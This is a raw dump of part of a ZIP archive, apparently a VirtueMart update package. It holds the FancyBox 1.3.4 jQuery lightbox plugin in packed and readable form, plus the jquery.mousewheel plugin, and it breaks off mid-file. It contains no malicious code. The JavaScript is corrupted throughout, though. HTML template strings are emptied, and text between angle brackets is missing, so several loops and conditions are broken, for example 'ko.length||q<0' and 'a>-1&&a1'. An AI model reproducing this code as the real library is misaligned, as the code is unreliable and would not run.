f.show();if(d.opacity)i.opacity=0;B.prop=0;b(B).animate({prop:1},{duration:d.speedIn,easing:d.easingIn,step:T,complete:S})}else{d.titlePosition=="inside"&&y>0&&n.show();j.css({width:i.width-d.padding*2,height:e.autoDimensions?"auto":i.height-y-d.padding*2}).html(m.contents());f.css(i).fadeIn(d.transitionIn=="none"?0:d.speedIn,S)}}}},Y=function(){if(d.enableEscapeButton||d.enableKeyboardNav)b(document).bind("keydown.fb",function(a){if(a.keyCode==27&&d.enableEscapeButton){a.preventDefault();b.fancybox.close()}else if((a.keyCode== 37||a.keyCode==39)&&d.enableKeyboardNav&&a.target.tagName!=="INPUT"&&a.target.tagName!=="TEXTAREA"&&a.target.tagName!=="SELECT"){a.preventDefault();b.fancybox[a.keyCode==37?"prev":"next"]()}});if(d.showNavArrows){if(d.cyclic&&l.length>1||p!==0)z.show();if(d.cyclic&&l.length>1||p!=l.length-1)A.show()}else{z.hide();A.hide()}},S=function(){if(!b.support.opacity){j.get(0).style.removeAttribute("filter");f.get(0).style.removeAttribute("filter")}e.autoDimensions&&j.css("height","auto");f.css("height","auto"); s&&s.length&&n.show();d.showCloseButton&&E.show();Y();d.hideOnContentClick&&j.bind("click",b.fancybox.close);d.hideOnOverlayClick&&u.bind("click",b.fancybox.close);b(window).bind("resize.fb",b.fancybox.resize);d.centerOnScroll&&b(window).bind("scroll.fb",b.fancybox.center);if(d.type=="iframe")b('').appendTo(j); f.show();h=false;b.fancybox.center();d.onComplete(l,p,d);var a,c;if(l.length-1>p){a=l[p+1].href;if(typeof a!=="undefined"&&a.match(J)){c=new Image;c.src=a}}if(p>0){a=l[p-1].href;if(typeof a!=="undefined"&&a.match(J)){c=new Image;c.src=a}}},T=function(a){var c={width:parseInt(r.width+(i.width-r.width)*a,10),height:parseInt(r.height+(i.height-r.height)*a,10),top:parseInt(r.top+(i.top-r.top)*a,10),left:parseInt(r.left+(i.left-r.left)*a,10)};if(typeof i.opacity!=="undefined")c.opacity=a<0.5?0.5:a;f.css(c); j.css({width:c.width-d.padding*2,height:c.height-y*a-d.padding*2})},U=function(){return[b(window).width()-d.margin*2,b(window).height()-d.margin*2,b(document).scrollLeft()+d.margin,b(document).scrollTop()+d.margin]},X=function(){var a=U(),c={},g=d.autoScale,k=d.padding*2;c.width=d.width.toString().indexOf("%")>-1?parseInt(a[0]*parseFloat(d.width)/100,10):d.width+k;c.height=d.height.toString().indexOf("%")>-1?parseInt(a[1]*parseFloat(d.height)/100,10):d.height+k;if(g&&(c.width>a[0]||c.height>a[1]))if(e.type== "image"||e.type=="swf"){g=d.width/d.height;if(c.width>a[0]){c.width=a[0];c.height=parseInt((c.width-k)/g+k,10)}if(c.height>a[1]){c.height=a[1];c.width=parseInt((c.height-k)*g+k,10)}}else{c.width=Math.min(c.width,a[0]);c.height=Math.min(c.height,a[1])}c.top=parseInt(Math.max(a[3]-20,a[3]+(a[1]-c.height-40)*0.5),10);c.left=parseInt(Math.max(a[2]-20,a[2]+(a[0]-c.width-40)*0.5),10);return c},V=function(){var a=e.orig?b(e.orig):false,c={};if(a&&a.length){c=a.offset();c.top+=parseInt(a.css("paddingTop"), 10)||0;c.left+=parseInt(a.css("paddingLeft"),10)||0;c.top+=parseInt(a.css("border-top-width"),10)||0;c.left+=parseInt(a.css("border-left-width"),10)||0;c.width=a.width();c.height=a.height();c={width:c.width+d.padding*2,height:c.height+d.padding*2,top:c.top-d.padding-20,left:c.left-d.padding-20}}else{a=U();c={width:d.padding*2,height:d.padding*2,top:parseInt(a[3]+a[1]*0.5,10),left:parseInt(a[2]+a[0]*0.5,10)}}return c},Z=function(){if(t.is(":visible")){b("div",t).css("top",L*-40+"px");L=(L+1)%12}else clearInterval(K)}; b.fn.fancybox=function(a){if(!b(this).length)return this;b(this).data("fancybox",b.extend({},a,b.metadata?b(this).metadata():{})).unbind("click.fb").bind("click.fb",function(c){c.preventDefault();if(!h){h=true;b(this).blur();o=[];q=0;c=b(this).attr("rel")||"";if(!c||c==""||c==="nofollow")o.push(this);else{o=b("a[rel="+c+"], area[rel="+c+"]");q=o.index(this)}I()}});return this};b.fancybox=function(a,c){var g;if(!h){h=true;g=typeof c!=="undefined"?c:{};o=[];q=parseInt(g.index,10)||0;if(b.isArray(a)){for(var k= 0,C=a.length;ko.length||q<0)q=0;I()}};b.fancybox.showActivity=function(){clearInterval(K);t.show();K=setInterval(Z,66)};b.fancybox.hideActivity=function(){t.hide()};b.fancybox.next=function(){return b.fancybox.pos(p+ 1)};b.fancybox.prev=function(){return b.fancybox.pos(p-1)};b.fancybox.pos=function(a){if(!h){a=parseInt(a);o=l;if(a>-1&&a1){q=a>=l.length?0:l.length-1;I()}}};b.fancybox.cancel=function(){if(!h){h=true;b.event.trigger("fancybox-cancel");N();e.onCancel(o,q,e);h=false}};b.fancybox.close=function(){function a(){u.fadeOut("fast");n.empty().hide();f.hide();b.event.trigger("fancybox-cleanup");j.empty();d.onClosed(l,p,d);l=e=[];p=q=0;d=e={};h=false}if(!(h||f.is(":hidden"))){h= true;if(d&&false===d.onCleanup(l,p,d))h=false;else{N();b(E.add(z).add(A)).hide();b(j.add(u)).unbind();b(window).unbind("resize.fb scroll.fb");b(document).unbind("keydown.fb");j.find("iframe").attr("src",M&&/^https/i.test(window.location.href||"")?"javascript:void(false)":"about:blank");d.titlePosition!=="inside"&&n.empty();f.stop();if(d.transitionOut=="elastic"){r=V();var c=f.position();i={top:c.top,left:c.left,width:f.width(),height:f.height()};if(d.opacity)i.opacity=1;n.empty().hide();B.prop=1; b(B).animate({prop:0},{duration:d.speedOut,easing:d.easingOut,step:T,complete:a})}else f.fadeOut(d.transitionOut=="none"?0:d.speedOut,a)}}};b.fancybox.resize=function(){u.is(":visible")&&u.css("height",b(document).height());b.fancybox.center(true)};b.fancybox.center=function(a){var c,g;if(!h){g=a===true?1:0;c=U();!g&&(f.width()>c[0]||f.height()>c[1])||f.stop().animate({top:parseInt(Math.max(c[3]-20,c[3]+(c[1]-j.height()-40)*0.5-d.padding)),left:parseInt(Math.max(c[2]-20,c[2]+(c[0]-j.width()-40)*0.5- d.padding))},typeof a=="number"?a:200)}};b.fancybox.init=function(){if(!b("#fancybox-wrap").length){b("body").append(m=b('
      '),t=b('
      '),u=b('
      '),f=b('
      '));D=b('
      ').append('
      ').appendTo(f); D.append(j=b('
      '),E=b(''),n=b('
      '),z=b(''),A=b(''));E.click(b.fancybox.close);t.click(b.fancybox.cancel);z.click(function(a){a.preventDefault();b.fancybox.prev()});A.click(function(a){a.preventDefault();b.fancybox.next()}); b.fn.mousewheel&&f.bind("mousewheel.fb",function(a,c){if(h)a.preventDefault();else if(b(a.target).get(0).clientHeight==0||b(a.target).get(0).scrollHeight===b(a.target).get(0).clientHeight){a.preventDefault();b.fancybox[c>0?"prev":"next"]()}});b.support.opacity||f.addClass("fancybox-ie");if(M){t.addClass("fancybox-ie6");f.addClass("fancybox-ie6");b('').prependTo(D)}}}; b.fn.fancybox.defaults={padding:10,margin:40,opacity:false,modal:false,cyclic:false,scrolling:"auto",width:560,height:340,autoScale:true,autoDimensions:true,centerOnScroll:false,ajax:{},swf:{wmode:"transparent"},hideOnOverlayClick:true,hideOnContentClick:false,overlayShow:true,overlayOpacity:0.7,overlayColor:"#777",titleShow:true,titlePosition:"float",titleFormat:null,titleFromAlt:false,transitionIn:"fade",transitionOut:"fade",speedIn:300,speedOut:300,changeSpeed:300,changeFade:"fast",easingIn:"swing", easingOut:"swing",showCloseButton:true,showNavArrows:true,enableEscapeButton:true,enableKeyboardNav:true,onStart:function(){},onCancel:function(){},onComplete:function(){},onCleanup:function(){},onClosed:function(){},onError:function(){}};b(document).ready(function(){b.fancybox.init()})})(jQuery);PKtl>\`o#bcom_virtuemart_update/components/com_virtuemart/assets/js/fancybox/jquery.mousewheel-3.0.4.pack.jsnuW+A/*! Copyright (c) 2010 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.4 * * Requires: 1.2.2+ */ (function(d){function g(a){var b=a||window.event,i=[].slice.call(arguments,1),c=0,h=0,e=0;a=d.event.fix(b);a.type="mousewheel";if(a.wheelDelta)c=a.wheelDelta/120;if(a.detail)c=-a.detail/3;e=c;if(b.axis!==undefined&&b.axis===b.HORIZONTAL_AXIS){e=0;h=-1*c}if(b.wheelDeltaY!==undefined)e=b.wheelDeltaY/120;if(b.wheelDeltaX!==undefined)h=-1*b.wheelDeltaX/120;i.unshift(a,c,h,e);return d.event.handle.apply(this,i)}var f=["DOMMouseScroll","mousewheel"];d.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a= f.length;a;)this.addEventListener(f[--a],g,false);else this.onmousewheel=g},teardown:function(){if(this.removeEventListener)for(var a=f.length;a;)this.removeEventListener(f[--a],g,false);else this.onmousewheel=null}};d.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery);PKtl>\Mcom_virtuemart_update/components/com_virtuemart/assets/js/fancybox/index.htmlnuW+APKtl>\ C-rr[com_virtuemart_update/components/com_virtuemart/assets/js/fancybox/jquery.fancybox-1.3.4.jsnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function($) { var tmp, loading, overlay, wrap, outer, content, close, title, nav_left, nav_right, selectedIndex = 0, selectedOpts = {}, selectedArray = [], currentIndex = 0, currentOpts = {}, currentArray = [], ajaxLoader = null, imgPreloader = new Image(), imgRegExp = /\.(jpg|gif|png|bmp|jpeg)(.*)?$/i, swfRegExp = /[^\.]\.(swf)\s*$/i, loadingTimer, loadingFrame = 1, titleHeight = 0, titleStr = '', start_pos, final_pos, busy = false, fx = $.extend($('
      ')[0], { prop: 0 }), isIE6 = $.browser.msie && $.browser.version < 7 && !window.XMLHttpRequest, /* * Private methods */ _abort = function() { loading.hide(); imgPreloader.onerror = imgPreloader.onload = null; if (ajaxLoader) { ajaxLoader.abort(); } tmp.empty(); }, _error = function() { if (false === selectedOpts.onError(selectedArray, selectedIndex, selectedOpts)) { loading.hide(); busy = false; return; } selectedOpts.titleShow = false; selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; tmp.html( '

      The requested content cannot be loaded.
      Please try again later.

      ' ); _process_inline(); }, _start = function() { var obj = selectedArray[ selectedIndex ], href, type, title, str, emb, ret; _abort(); selectedOpts = $.extend({}, $.fn.fancybox.defaults, (typeof $(obj).data('fancybox') == 'undefined' ? selectedOpts : $(obj).data('fancybox'))); ret = selectedOpts.onStart(selectedArray, selectedIndex, selectedOpts); if (ret === false) { busy = false; return; } else if (typeof ret == 'object') { selectedOpts = $.extend(selectedOpts, ret); } title = selectedOpts.title || (obj.nodeName ? $(obj).attr('title') : obj.title) || ''; if (obj.nodeName && !selectedOpts.orig) { selectedOpts.orig = $(obj).children("img:first").length ? $(obj).children("img:first") : $(obj); } if (title === '' && selectedOpts.orig && selectedOpts.titleFromAlt) { title = selectedOpts.orig.attr('alt'); } href = selectedOpts.href || (obj.nodeName ? $(obj).attr('href') : obj.href) || null; if ((/^(?:javascript)/i).test(href) || href == '#') { href = null; } if (selectedOpts.type) { type = selectedOpts.type; if (!href) { href = selectedOpts.content; } } else if (selectedOpts.content) { type = 'html'; } else if (href) { if (href.match(imgRegExp)) { type = 'image'; } else if (href.match(swfRegExp)) { type = 'swf'; } else if ($(obj).hasClass("iframe")) { type = 'iframe'; } else if (href.indexOf("#") === 0) { type = 'inline'; } else { type = 'ajax'; } } if (!type) { _error(); return; } if (type == 'inline') { obj = href.substr(href.indexOf("#")); type = $(obj).length > 0 ? 'inline' : 'ajax'; } selectedOpts.type = type; selectedOpts.href = href; selectedOpts.title = title; if (selectedOpts.autoDimensions) { if (selectedOpts.type == 'html' || selectedOpts.type == 'inline' || selectedOpts.type == 'ajax') { selectedOpts.width = 'auto'; selectedOpts.height = 'auto'; } else { selectedOpts.autoDimensions = false; } } if (selectedOpts.modal) { selectedOpts.overlayShow = true; selectedOpts.hideOnOverlayClick = false; selectedOpts.hideOnContentClick = false; selectedOpts.enableEscapeButton = false; selectedOpts.showCloseButton = false; } selectedOpts.padding = parseInt(selectedOpts.padding, 10); selectedOpts.margin = parseInt(selectedOpts.margin, 10); tmp.css('padding', (selectedOpts.padding + selectedOpts.margin)); $('.fancybox-inline-tmp').unbind('fancybox-cancel').bind('fancybox-change', function() { $(this).replaceWith(content.children()); }); switch (type) { case 'html' : tmp.html( selectedOpts.content ); _process_inline(); break; case 'inline' : if ( $(obj).parent().is('#fancybox-content') === true) { busy = false; return; } $('
      ') .hide() .insertBefore( $(obj) ) .bind('fancybox-cleanup', function() { $(this).replaceWith(content.children()); }).bind('fancybox-cancel', function() { $(this).replaceWith(tmp.children()); }); $(obj).appendTo(tmp); _process_inline(); break; case 'image': busy = false; $.fancybox.showActivity(); imgPreloader = new Image(); imgPreloader.onerror = function() { _error(); }; imgPreloader.onload = function() { busy = true; imgPreloader.onerror = imgPreloader.onload = null; _process_image(); }; imgPreloader.src = href; break; case 'swf': selectedOpts.scrolling = 'no'; str = ''; emb = ''; $.each(selectedOpts.swf, function(name, val) { str += ''; emb += ' ' + name + '="' + val + '"'; }); str += ''; tmp.html(str); _process_inline(); break; case 'ajax': busy = false; $.fancybox.showActivity(); selectedOpts.ajax.win = selectedOpts.ajax.success; ajaxLoader = $.ajax($.extend({}, selectedOpts.ajax, { url : href, data : selectedOpts.ajax.data || {}, error : function(XMLHttpRequest, textStatus, errorThrown) { if ( XMLHttpRequest.status > 0 ) { _error(); } }, success : function(data, textStatus, XMLHttpRequest) { var o = typeof XMLHttpRequest == 'object' ? XMLHttpRequest : ajaxLoader; if (o.status == 200) { if ( typeof selectedOpts.ajax.win == 'function' ) { ret = selectedOpts.ajax.win(href, data, textStatus, XMLHttpRequest); if (ret === false) { loading.hide(); return; } else if (typeof ret == 'string' || typeof ret == 'object') { data = ret; } } tmp.html( data ); _process_inline(); } } })); break; case 'iframe': _show(); break; } }, _process_inline = function() { var w = selectedOpts.width, h = selectedOpts.height; if (w.toString().indexOf('%') > -1) { w = parseInt( ($(window).width() - (selectedOpts.margin * 2)) * parseFloat(w) / 100, 10) + 'px'; } else { w = w == 'auto' ? 'auto' : w + 'px'; } if (h.toString().indexOf('%') > -1) { h = parseInt( ($(window).height() - (selectedOpts.margin * 2)) * parseFloat(h) / 100, 10) + 'px'; } else { h = h == 'auto' ? 'auto' : h + 'px'; } tmp.wrapInner('
      '); selectedOpts.width = tmp.width(); selectedOpts.height = tmp.height(); _show(); }, _process_image = function() { selectedOpts.width = imgPreloader.width; selectedOpts.height = imgPreloader.height; $("").attr({ 'id' : 'fancybox-img', 'src' : imgPreloader.src, 'alt' : selectedOpts.title }).appendTo( tmp ); _show(); }, _show = function() { var pos, equal; loading.hide(); if (wrap.is(":visible") && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { $.event.trigger('fancybox-cancel'); busy = false; return; } busy = true; $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); if (wrap.is(":visible") && currentOpts.titlePosition !== 'outside') { wrap.css('height', wrap.height()); } currentArray = selectedArray; currentIndex = selectedIndex; currentOpts = selectedOpts; if (currentOpts.overlayShow) { overlay.css({ 'background-color' : currentOpts.overlayColor, 'opacity' : currentOpts.overlayOpacity, 'cursor' : currentOpts.hideOnOverlayClick ? 'pointer' : 'auto', 'height' : $(document).height() }); if (!overlay.is(':visible')) { if (isIE6) { $('select:not(#fancybox-tmp select)').filter(function() { return this.style.visibility !== 'hidden'; }).css({'visibility' : 'hidden'}).one('fancybox-cleanup', function() { this.style.visibility = 'inherit'; }); } overlay.show(); } } else { overlay.hide(); } final_pos = _get_zoom_to(); _process_title(); if (wrap.is(":visible")) { $( close.add( nav_left ).add( nav_right ) ).hide(); pos = wrap.position(), start_pos = { top : pos.top, left : pos.left, width : wrap.width(), height : wrap.height() }; equal = (start_pos.width == final_pos.width && start_pos.height == final_pos.height); content.fadeTo(currentOpts.changeFade, 0.3, function() { var finish_resizing = function() { content.html( tmp.contents() ).fadeTo(currentOpts.changeFade, 1, _finish); }; $.event.trigger('fancybox-change'); content .empty() .removeAttr('filter') .css({ 'border-width' : currentOpts.padding, 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }); if (equal) { finish_resizing(); } else { fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.changeSpeed, easing : currentOpts.easingChange, step : _draw, complete : finish_resizing }); } }); return; } wrap.removeAttr("style"); content.css('border-width', currentOpts.padding); if (currentOpts.transitionIn == 'elastic') { start_pos = _get_zoom_from(); content.html( tmp.contents() ); wrap.show(); if (currentOpts.opacity) { final_pos.opacity = 0; } fx.prop = 0; $(fx).animate({prop: 1}, { duration : currentOpts.speedIn, easing : currentOpts.easingIn, step : _draw, complete : _finish }); return; } if (currentOpts.titlePosition == 'inside' && titleHeight > 0) { title.show(); } content .css({ 'width' : final_pos.width - currentOpts.padding * 2, 'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2 }) .html( tmp.contents() ); wrap .css(final_pos) .fadeIn( currentOpts.transitionIn == 'none' ? 0 : currentOpts.speedIn, _finish ); }, _format_title = function(title) { if (title && title.length) { if (currentOpts.titlePosition == 'float') { return '
      ' + title + '
      '; } return '
      ' + title + '
      '; } return false; }, _process_title = function() { titleStr = currentOpts.title || ''; titleHeight = 0; title .empty() .removeAttr('style') .removeClass(); if (currentOpts.titleShow === false) { title.hide(); return; } titleStr = $.isFunction(currentOpts.titleFormat) ? currentOpts.titleFormat(titleStr, currentArray, currentIndex, currentOpts) : _format_title(titleStr); if (!titleStr || titleStr === '') { title.hide(); return; } title .addClass('fancybox-title-' + currentOpts.titlePosition) .html( titleStr ) .appendTo( 'body' ) .show(); switch (currentOpts.titlePosition) { case 'inside': title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'marginLeft' : currentOpts.padding, 'marginRight' : currentOpts.padding }); titleHeight = title.outerHeight(true); title.appendTo( outer ); final_pos.height += titleHeight; break; case 'over': title .css({ 'marginLeft' : currentOpts.padding, 'width' : final_pos.width - (currentOpts.padding * 2), 'bottom' : currentOpts.padding }) .appendTo( outer ); break; case 'float': title .css('left', parseInt((title.width() - final_pos.width - 40)/ 2, 10) * -1) .appendTo( wrap ); break; default: title .css({ 'width' : final_pos.width - (currentOpts.padding * 2), 'paddingLeft' : currentOpts.padding, 'paddingRight' : currentOpts.padding }) .appendTo( wrap ); break; } title.hide(); }, _set_navigation = function() { if (currentOpts.enableEscapeButton || currentOpts.enableKeyboardNav) { $(document).bind('keydown.fb', function(e) { if (e.keyCode == 27 && currentOpts.enableEscapeButton) { e.preventDefault(); $.fancybox.close(); } else if ((e.keyCode == 37 || e.keyCode == 39) && currentOpts.enableKeyboardNav && e.target.tagName !== 'INPUT' && e.target.tagName !== 'TEXTAREA' && e.target.tagName !== 'SELECT') { e.preventDefault(); $.fancybox[ e.keyCode == 37 ? 'prev' : 'next'](); } }); } if (!currentOpts.showNavArrows) { nav_left.hide(); nav_right.hide(); return; } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex !== 0) { nav_left.show(); } if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex != (currentArray.length -1)) { nav_right.show(); } }, _finish = function () { if (!$.support.opacity) { content.get(0).style.removeAttribute('filter'); wrap.get(0).style.removeAttribute('filter'); } if (selectedOpts.autoDimensions) { content.css('height', 'auto'); } wrap.css('height', 'auto'); if (titleStr && titleStr.length) { title.show(); } if (currentOpts.showCloseButton) { close.show(); } _set_navigation(); if (currentOpts.hideOnContentClick) { content.bind('click', $.fancybox.close); } if (currentOpts.hideOnOverlayClick) { overlay.bind('click', $.fancybox.close); } $(window).bind("resize.fb", $.fancybox.resize); if (currentOpts.centerOnScroll) { $(window).bind("scroll.fb", $.fancybox.center); } if (currentOpts.type == 'iframe') { $('').appendTo(content); } wrap.show(); busy = false; $.fancybox.center(); currentOpts.onComplete(currentArray, currentIndex, currentOpts); _preload_images(); }, _preload_images = function() { var href, objNext; if ((currentArray.length -1) > currentIndex) { href = currentArray[ currentIndex + 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } if (currentIndex > 0) { href = currentArray[ currentIndex - 1 ].href; if (typeof href !== 'undefined' && href.match(imgRegExp)) { objNext = new Image(); objNext.src = href; } } }, _draw = function(pos) { var dim = { width : parseInt(start_pos.width + (final_pos.width - start_pos.width) * pos, 10), height : parseInt(start_pos.height + (final_pos.height - start_pos.height) * pos, 10), top : parseInt(start_pos.top + (final_pos.top - start_pos.top) * pos, 10), left : parseInt(start_pos.left + (final_pos.left - start_pos.left) * pos, 10) }; if (typeof final_pos.opacity !== 'undefined') { dim.opacity = pos < 0.5 ? 0.5 : pos; } wrap.css(dim); content.css({ 'width' : dim.width - currentOpts.padding * 2, 'height' : dim.height - (titleHeight * pos) - currentOpts.padding * 2 }); }, _get_viewport = function() { return [ $(window).width() - (currentOpts.margin * 2), $(window).height() - (currentOpts.margin * 2), $(document).scrollLeft() + currentOpts.margin, $(document).scrollTop() + currentOpts.margin ]; }, _get_zoom_to = function () { var view = _get_viewport(), to = {}, resize = currentOpts.autoScale, double_padding = currentOpts.padding * 2, ratio; if (currentOpts.width.toString().indexOf('%') > -1) { to.width = parseInt((view[0] * parseFloat(currentOpts.width)) / 100, 10); } else { to.width = currentOpts.width + double_padding; } if (currentOpts.height.toString().indexOf('%') > -1) { to.height = parseInt((view[1] * parseFloat(currentOpts.height)) / 100, 10); } else { to.height = currentOpts.height + double_padding; } if (resize && (to.width > view[0] || to.height > view[1])) { if (selectedOpts.type == 'image' || selectedOpts.type == 'swf') { ratio = (currentOpts.width ) / (currentOpts.height ); if ((to.width ) > view[0]) { to.width = view[0]; to.height = parseInt(((to.width - double_padding) / ratio) + double_padding, 10); } if ((to.height) > view[1]) { to.height = view[1]; to.width = parseInt(((to.height - double_padding) * ratio) + double_padding, 10); } } else { to.width = Math.min(to.width, view[0]); to.height = Math.min(to.height, view[1]); } } to.top = parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - to.height - 40) * 0.5)), 10); to.left = parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - to.width - 40) * 0.5)), 10); return to; }, _get_obj_pos = function(obj) { var pos = obj.offset(); pos.top += parseInt( obj.css('paddingTop'), 10 ) || 0; pos.left += parseInt( obj.css('paddingLeft'), 10 ) || 0; pos.top += parseInt( obj.css('border-top-width'), 10 ) || 0; pos.left += parseInt( obj.css('border-left-width'), 10 ) || 0; pos.width = obj.width(); pos.height = obj.height(); return pos; }, _get_zoom_from = function() { var orig = selectedOpts.orig ? $(selectedOpts.orig) : false, from = {}, pos, view; if (orig && orig.length) { pos = _get_obj_pos(orig); from = { width : pos.width + (currentOpts.padding * 2), height : pos.height + (currentOpts.padding * 2), top : pos.top - currentOpts.padding - 20, left : pos.left - currentOpts.padding - 20 }; } else { view = _get_viewport(); from = { width : currentOpts.padding * 2, height : currentOpts.padding * 2, top : parseInt(view[3] + view[1] * 0.5, 10), left : parseInt(view[2] + view[0] * 0.5, 10) }; } return from; }, _animate_loading = function() { if (!loading.is(':visible')){ clearInterval(loadingTimer); return; } $('div', loading).css('top', (loadingFrame * -40) + 'px'); loadingFrame = (loadingFrame + 1) % 12; }; /* * Public methods */ $.fn.fancybox = function(options) { if (!$(this).length) { return this; } $(this) .data('fancybox', $.extend({}, options, ($.metadata ? $(this).metadata() : {}))) .unbind('click.fb') .bind('click.fb', function(e) { e.preventDefault(); if (busy) { return; } busy = true; $(this).blur(); selectedArray = []; selectedIndex = 0; var rel = $(this).attr('rel') || ''; if (!rel || rel == '' || rel === 'nofollow') { selectedArray.push(this); } else { selectedArray = $("a[rel=" + rel + "], area[rel=" + rel + "]"); selectedIndex = selectedArray.index( this ); } _start(); return; }); return this; }; $.fancybox = function(obj) { var opts; if (busy) { return; } busy = true; opts = typeof arguments[1] !== 'undefined' ? arguments[1] : {}; selectedArray = []; selectedIndex = parseInt(opts.index, 10) || 0; if ($.isArray(obj)) { for (var i = 0, j = obj.length; i < j; i++) { if (typeof obj[i] == 'object') { $(obj[i]).data('fancybox', $.extend({}, opts, obj[i])); } else { obj[i] = $({}).data('fancybox', $.extend({content : obj[i]}, opts)); } } selectedArray = jQuery.merge(selectedArray, obj); } else { if (typeof obj == 'object') { $(obj).data('fancybox', $.extend({}, opts, obj)); } else { obj = $({}).data('fancybox', $.extend({content : obj}, opts)); } selectedArray.push(obj); } if (selectedIndex > selectedArray.length || selectedIndex < 0) { selectedIndex = 0; } _start(); }; $.fancybox.showActivity = function() { clearInterval(loadingTimer); loading.show(); loadingTimer = setInterval(_animate_loading, 66); }; $.fancybox.hideActivity = function() { loading.hide(); }; $.fancybox.next = function() { return $.fancybox.pos( currentIndex + 1); }; $.fancybox.prev = function() { return $.fancybox.pos( currentIndex - 1); }; $.fancybox.pos = function(pos) { if (busy) { return; } pos = parseInt(pos); selectedArray = currentArray; if (pos > -1 && pos < currentArray.length) { selectedIndex = pos; _start(); } else if (currentOpts.cyclic && currentArray.length > 1) { selectedIndex = pos >= currentArray.length ? 0 : currentArray.length - 1; _start(); } return; }; $.fancybox.cancel = function() { if (busy) { return; } busy = true; $.event.trigger('fancybox-cancel'); _abort(); selectedOpts.onCancel(selectedArray, selectedIndex, selectedOpts); busy = false; }; // Note: within an iframe use - parent.$.fancybox.close(); $.fancybox.close = function() { if (busy || wrap.is(':hidden')) { return; } busy = true; if (currentOpts && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { busy = false; return; } _abort(); $(close.add( nav_left ).add( nav_right )).hide(); $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); content.find('iframe').attr('src', isIE6 && /^https/i.test(window.location.href || '') ? 'javascript:void(false)' : 'about:blank'); if (currentOpts.titlePosition !== 'inside') { title.empty(); } wrap.stop(); function _cleanup() { overlay.fadeOut('fast'); title.empty().hide(); wrap.hide(); $.event.trigger('fancybox-cleanup'); content.empty(); currentOpts.onClosed(currentArray, currentIndex, currentOpts); currentArray = selectedOpts = []; currentIndex = selectedIndex = 0; currentOpts = selectedOpts = {}; busy = false; } if (currentOpts.transitionOut == 'elastic') { start_pos = _get_zoom_from(); var pos = wrap.position(); final_pos = { top : pos.top , left : pos.left, width : wrap.width(), height : wrap.height() }; if (currentOpts.opacity) { final_pos.opacity = 1; } title.empty().hide(); fx.prop = 1; $(fx).animate({ prop: 0 }, { duration : currentOpts.speedOut, easing : currentOpts.easingOut, step : _draw, complete : _cleanup }); } else { wrap.fadeOut( currentOpts.transitionOut == 'none' ? 0 : currentOpts.speedOut, _cleanup); } }; $.fancybox.resize = function() { if (overlay.is(':visible')) { overlay.css('height', $(document).height()); } $.fancybox.center(true); }; $.fancybox.center = function() { var view, align; if (busy) { return; } align = arguments[0] === true ? 1 : 0; view = _get_viewport(); if (!align && (wrap.width() > view[0] || wrap.height() > view[1])) { return; } wrap .stop() .animate({ 'top' : parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - content.height() - 40) * 0.5) - currentOpts.padding)), 'left' : parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - content.width() - 40) * 0.5) - currentOpts.padding)) }, typeof arguments[0] == 'number' ? arguments[0] : 200); }; $.fancybox.init = function() { if ($("#fancybox-wrap").length) { return; } $('body').append( tmp = $('
      '), loading = $('
      '), overlay = $('
      '), wrap = $('
      ') ); outer = $('
      ') .append('
      ') .appendTo( wrap ); outer.append( content = $('
      '), close = $(''), title = $('
      '), nav_left = $(''), nav_right = $('') ); close.click($.fancybox.close); loading.click($.fancybox.cancel); nav_left.click(function(e) { e.preventDefault(); $.fancybox.prev(); }); nav_right.click(function(e) { e.preventDefault(); $.fancybox.next(); }); if ($.fn.mousewheel) { wrap.bind('mousewheel.fb', function(e, delta) { if (busy) { e.preventDefault(); } else if ($(e.target).get(0).clientHeight == 0 || $(e.target).get(0).scrollHeight === $(e.target).get(0).clientHeight) { e.preventDefault(); $.fancybox[ delta > 0 ? 'prev' : 'next'](); } }); } if (!$.support.opacity) { wrap.addClass('fancybox-ie'); } if (isIE6) { loading.addClass('fancybox-ie6'); wrap.addClass('fancybox-ie6'); $('').prependTo(outer); } }; $.fn.fancybox.defaults = { padding : 10, margin : 40, opacity : false, modal : false, cyclic : false, scrolling : 'auto', // 'auto', 'yes' or 'no' width : 560, height : 340, autoScale : true, autoDimensions : true, centerOnScroll : false, ajax : {}, swf : { wmode: 'transparent' }, hideOnOverlayClick : true, hideOnContentClick : false, overlayShow : true, overlayOpacity : 0.7, overlayColor : '#777', titleShow : true, titlePosition : 'float', // 'float', 'outside', 'inside' or 'over' titleFormat : null, titleFromAlt : false, transitionIn : 'fade', // 'elastic', 'fade' or 'none' transitionOut : 'fade', // 'elastic', 'fade' or 'none' speedIn : 300, speedOut : 300, changeSpeed : 300, changeFade : 'fast', easingIn : 